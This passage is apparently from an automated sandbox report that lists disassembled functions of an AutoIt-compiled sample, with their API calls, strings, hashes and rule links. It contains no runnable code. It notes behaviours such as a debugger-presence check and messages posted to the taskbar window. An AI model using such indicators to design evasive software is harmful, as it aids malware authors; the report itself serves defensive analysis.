                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CloseCreateHandleProcess
                                                • String ID: \06
                                                • API String ID: 3712363035-2317069740
                                                • Opcode ID: 231f9697583e7942608c3bdc18f45879a49adf567f8cf210c1f4988757858914
                                                • Instruction ID: 0755c2afad03fc1004ad9ae5a8cb06f9a14e76965c5cfae06390dc2f521c58a9
                                                • Opcode Fuzzy Hash: 231f9697583e7942608c3bdc18f45879a49adf567f8cf210c1f4988757858914
                                                • Instruction Fuzzy Hash: C6F082F5650300FEE3226B61AC45FB73A9CDF04B60F008464FB09D51A2D6B99E1887F8
                                                Function 0031747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen
                                                • String ID: 3, 3, 16, 1
                                                • API String ID: 176396367-3042988571
                                                • Opcode ID: 380dd4beebaf80684d254f27e6bae02d3e9d6e94adb51e7a45be3b159e8054e4
                                                • Instruction ID: 6be8d84f9ec343d8973da5011633b1b9f6caffa7fc18aa91bb50df197af72fb1
                                                • Opcode Fuzzy Hash: 380dd4beebaf80684d254f27e6bae02d3e9d6e94adb51e7a45be3b159e8054e4
                                                • Instruction Fuzzy Hash: 65E02B06214660109336227BACC59FF5699CFCD7E0718182BF981C2267EE948DE193A0
                                                Function 002F0B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 002F0B23
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Message
                                                • String ID: AutoIt$Error allocating memory.
                                                • API String ID: 2030045667-4017498283
                                                • Opcode ID: 228327c9439f52ebfdfa1f36d694d09337466fa26715a51c5f2c49bc26bdde9c
                                                • Instruction ID: e4a48c434850f0154837c90e1c1e1ad8a0894190d2fb5799a72c438a8a1a1920
                                                • Opcode Fuzzy Hash: 228327c9439f52ebfdfa1f36d694d09337466fa26715a51c5f2c49bc26bdde9c
                                                • Instruction Fuzzy Hash: 1CE0D8312643182BD22636D47D43FCD7AC48F05B55F10042AFB48555D38FE164B04AE9
                                                Function 002B0D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002AF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,002B0D71,?,?,?,0029100A), ref: 002AF7CE
                                                • IsDebuggerPresent.KERNEL32(?,?,?,0029100A), ref: 002B0D75
                                                • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0029100A), ref: 002B0D84
                                                Strings
                                                • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 002B0D7F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
                                                • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                • API String ID: 55579361-631824599
                                                • Opcode ID: ce4434693b24b3d38bd1e7f21af98a3d24495735eb793705ddefddd6f5cb7a8c
                                                • Instruction ID: a8f70d7cb017b90d89800cc8e108b0b112875d65de55cb0093b9fc243de0b919
                                                • Opcode Fuzzy Hash: ce4434693b24b3d38bd1e7f21af98a3d24495735eb793705ddefddd6f5cb7a8c
                                                • Instruction Fuzzy Hash: F1E06D742103128FE7729FB8E8487967BF4EF00B80F00892DE482C6695DBB4E4558BA1
                                                Function 002AE398 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON
                                                Download Yara Rule
                                                APIs
                                                • __Init_thread_footer.LIBCMT ref: 002AE3D5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Init_thread_footer
                                                • String ID: 0%6$8%6
                                                • API String ID: 1385522511-1852730032
                                                • Opcode ID: 34cac53f7af6c2568158936b3853ab54e39dc842e291381405e425bfc81f1d0d
                                                • Instruction ID: 6e0cc41a4f2d5ece827b309408c9b02ba5887b9096a4e310b4b725f2a6025ac1
                                                • Opcode Fuzzy Hash: 34cac53f7af6c2568158936b3853ab54e39dc842e291381405e425bfc81f1d0d
                                                • Instruction Fuzzy Hash: CDE0DF31430E108BCE26AB18B894EAEB359AB07320B1381A6E30387191AFB028528A45
                                                Function 002ED21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: LocalTime
                                                • String ID: %.3d$X64
                                                • API String ID: 481472006-1077770165
                                                • Opcode ID: bafccb97b8cadec937d586bd880f1ac78fdbfb7c23edd16c8653553c1c8bb5a7
                                                • Instruction ID: 290f2e290888bb802ebf5346c432cd7098da963063278d403c5cbb245e9833f0
                                                • Opcode Fuzzy Hash: bafccb97b8cadec937d586bd880f1ac78fdbfb7c23edd16c8653553c1c8bb5a7
                                                • Instruction Fuzzy Hash: AFD01271878148EACF9096E1DD458B9B37CAB09341F908452FE16A1052DA64D5286B61
                                                Function 00322322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0032232C
                                                • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0032233F
                                                  • Part of subcall function 002FE97B: Sleep.KERNEL32 ref: 002FE9F3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FindMessagePostSleepWindow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 529655941-2988720461
                                                • Opcode ID: 18b6636857ce5594d065b329bf5cb91ec60939ad3ad95b805098166068ef7c0a
                                                • Instruction ID: e472203cbcdbccd643e6a0db67dddf9088d58c7d7e6a4b0dcacebfd6465825a2
                                                • Opcode Fuzzy Hash: 18b6636857ce5594d065b329bf5cb91ec60939ad3ad95b805098166068ef7c0a
                                                • Instruction Fuzzy Hash: 6BD022323A0300B7E676B730DC0FFCEFA089B00B00F000A1AB705AA0E0C8F0A802CA54
                                                Function 00322356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0032236C
                                                • PostMessageW.USER32(00000000), ref: 00322373
                                                  • Part of subcall function 002FE97B: Sleep.KERNEL32 ref: 002FE9F3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FindMessagePostSleepWindow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 529655941-2988720461
                                                • Opcode ID: 46ac9a41c405c3757a581f41176d963e9d2a574511662c6207b4ae7ac8e6dab6
                                                • Instruction ID: b35279c98298ebf75d312ccc5c2781bf83dd586c7d3a1c2cc11b6c782583fcda
                                                • Opcode Fuzzy Hash: 46ac9a41c405c3757a581f41176d963e9d2a574511662c6207b4ae7ac8e6dab6
                                                • Instruction Fuzzy Hash: 6BD0A9323A0300BAE676A7309C0FFCAA6089B04B00F000A1AB701AA0E0C8F0A8028A58